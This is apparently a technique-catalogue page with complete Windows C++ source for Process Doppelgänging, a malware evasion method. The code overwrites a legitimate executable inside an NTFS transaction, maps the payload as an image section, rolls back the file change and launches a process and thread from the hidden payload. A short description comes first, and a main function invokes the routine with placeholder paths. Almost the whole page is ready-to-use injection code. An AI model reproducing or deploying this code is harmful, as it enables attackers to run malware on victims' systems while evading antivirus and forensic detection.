Windows C++ / Process Doppelgänging

Author External
Platform Windows
Language C++
Technique Process Doppelgänging

Description:

The code demonstrates how to perform Process Doppelgänging, a technique that leverages the Transactional NTFS functionality in Windows to overwrite a legitimate file with a malicious file, resulting in a process injection.

Code

// Ref = src
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
//
// Credits:
//  Vyacheslav Rusakov @swwwolf
//  Tom Bonner @thomas_bonner
//

#include <Windows.h>
#include <ntstatus.h>
#include "ntos.h"

VOID ProcessDoppelgänging(
    _In_ LPWSTR lpTargetApp,
    _In_ LPWSTR lpPayloadApp)
{
    BOOL bCond = FALSE;
    NTSTATUS status;
    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
    LARGE_INTEGER fsz;
    ULONG ReturnLength = 0;
    ULONG_PTR EntryPoint = 0, ImageBase = 0;
    PVOID Buffer = NULL, MemoryPtr = NULL;
    SIZE_T sz = 0;
    PEB *Peb;

    PROCESS_BASIC_INFORMATION pbi;

    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING    ustr;

    BYTE temp[0x1000];

    do {
        RtlSecureZeroMemory(&temp, sizeof(temp));

        //
        // Create TmTx transaction object.
        //
        InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
        status = NtCreateTransaction(&hTransaction,
            TRANSACTION_ALL_ACCESS,
            &obja,
            NULL,
            NULL,
            0,
            0,
            0,
            NULL,
            NULL);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtCreateTransaction fail");
            break;
        }

        //
        // Open target file for transaction.
        //
        hTransactedFile = CreateFileTransacted(lpTargetApp,
            GENERIC_WRITE | GENERIC_READ,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL,
            hTransaction,
            NULL,
            NULL);

        if (hTransactedFile == INVALID_HANDLE_VALUE) {
            OutputDebugString(L"CreateFileTransacted fail");
            break;
        }

        //
        // Open file payload.
        //
        hFile = CreateFile(lpPayloadApp,
            GENERIC_READ,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
        if (hFile == INVALID_HANDLE_VALUE) {
            OutputDebugString(L"CreateFile(target) failed");
            break;
        }

        //
        // Query payload file size.
        //
        if (!GetFileSizeEx(hFile, &fsz)) {
            OutputDebugString(L"GetFileSizeEx(target) failed");
            break;
        }

        //
        // Allocate buffer for payload file.
        //
        Buffer = NULL;
        sz = (SIZE_T)fsz.LowPart;
        status = NtAllocateVirtualMemory(NtCurrentProcess(),
            &Buffer,
            0,
            &sz,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtAllocateVirtualMemory(fsz.LowPart) failed");
            break;
        }

        //
        // Read payload file to the buffer.
        //
        if (!ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
            OutputDebugString(L"ReadFile(hFile, Buffer) failed");
            break;
        }

        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;

        //
        // Write buffer into transaction.
        //
        if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
            OutputDebugString(L"WriteFile(hTransactedFile, Buffer) failed");
            break;
        }

        //
        // Create section from transacted file.
        //
        status = NtCreateSection(&hSection,
            SECTION_ALL_ACCESS,
            NULL,
            0,
            PAGE_READONLY,
            SEC_IMAGE,
            hTransactedFile);
        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtCreateSection(hTransactedFile) failed");
            break;
        }

        status = NtRollbackTransaction(hTransaction, TRUE);
        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtRollbackTransaction(hTransaction) failed");
            break;
        }

        NtClose(hTransaction);
        hTransaction = NULL;

        CloseHandle(hTransactedFile);
        hTransactedFile = INVALID_HANDLE_VALUE;

        //
        // Create process object with transacted section.
        //
        //
        // Warning: due to MS brilliant coding skills (NULL ptr dereference) 
        //          this call will trigger BSOD on Windows 10 prior to RS3.
        //
        hProcess = NULL;
        status = NtCreateProcessEx(&hProcess,
            PROCESS_ALL_ACCESS,
            NULL,
            NtCurrentProcess(),
            PS_INHERIT_HANDLES,
            hSection,
            NULL,
            NULL,
            FALSE);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtCreateProcessEx(hSection) failed");
            break;
        }

        //
        // Query payload file entry point value.
        //
        status = NtQueryInformationProcess(hProcess,
            ProcessBasicInformation,
            &pbi,
            sizeof(PROCESS_BASIC_INFORMATION),
            &ReturnLength);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtQueryInformationProcess failed");
            break;
        }

        status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtReadVirtualMemory failed");
            break;
        }

        EntryPoint = (ULONG_PTR)RtlImageNtHeader(Buffer)->OptionalHeader.AddressOfEntryPoint;
        EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

        //
        // Create process parameters block.
        //
        //RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe");
        RtlInitUnicodeString(&ustr, lpTargetApp);
        status = RtlCreateProcessParametersEx(&ProcessParameters,
            &ustr,
            NULL,
            NULL,
            &ustr,
            NULL,
            NULL,
            NULL,
            NULL,
            NULL,
            RTL_USER_PROC_PARAMS_NORMALIZED);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"RtlCreateProcessParametersEx failed");
            break;
        }

        //
        // Allocate memory in target process and write process parameters block.
        //
        sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
        MemoryPtr = ProcessParameters;

        status = NtAllocateVirtualMemory(hProcess,
            &MemoryPtr,
            0,
            &sz,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_READWRITE);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
            break;
        }

        sz = 0;
        status = NtWriteVirtualMemory(hProcess,
            ProcessParameters,
            ProcessParameters,
            ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
            &sz);

        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
            break;
        }

        //
        // Update PEB->ProcessParameters pointer to newly allocated block.
        //
        Peb = pbi.PebBaseAddress;
        status = NtWriteVirtualMemory(hProcess,
            &Peb->ProcessParameters,
            &ProcessParameters,
            sizeof(PVOID),
            &sz);
        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
            break;
        }

        //
        // Create primary thread.
        //
        hThread = NULL;
        status = NtCreateThreadEx(&hThread,
            THREAD_ALL_ACCESS,
            NULL,
            hProcess,
            (LPTHREAD_START_ROUTINE)EntryPoint,
            NULL,
            FALSE,
            0,
            0,
            0,
            NULL);
        if (!NT_SUCCESS(status)) {
            OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
            break;
        }

    } while (bCond);

    if (hTransaction)
        NtClose(hTransaction);
    if (hSection)
        NtClose(hSection);
    if (hProcess)
        NtClose(hProcess);
    if (hThread)
        NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
        CloseHandle(hTransactedFile);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (Buffer != NULL) {
        sz = 0;
        NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }
    if (ProcessParameters) {
        RtlDestroyProcessParameters(ProcessParameters);
    }
}

void main()
{
    ProcessDoppelgänging(L"C:\\test\\target.exe", L"C:\\test\\payload.exe");
    ExitProcess(0);
}

Created

September 10, 2020

Last Revised

April 22, 2024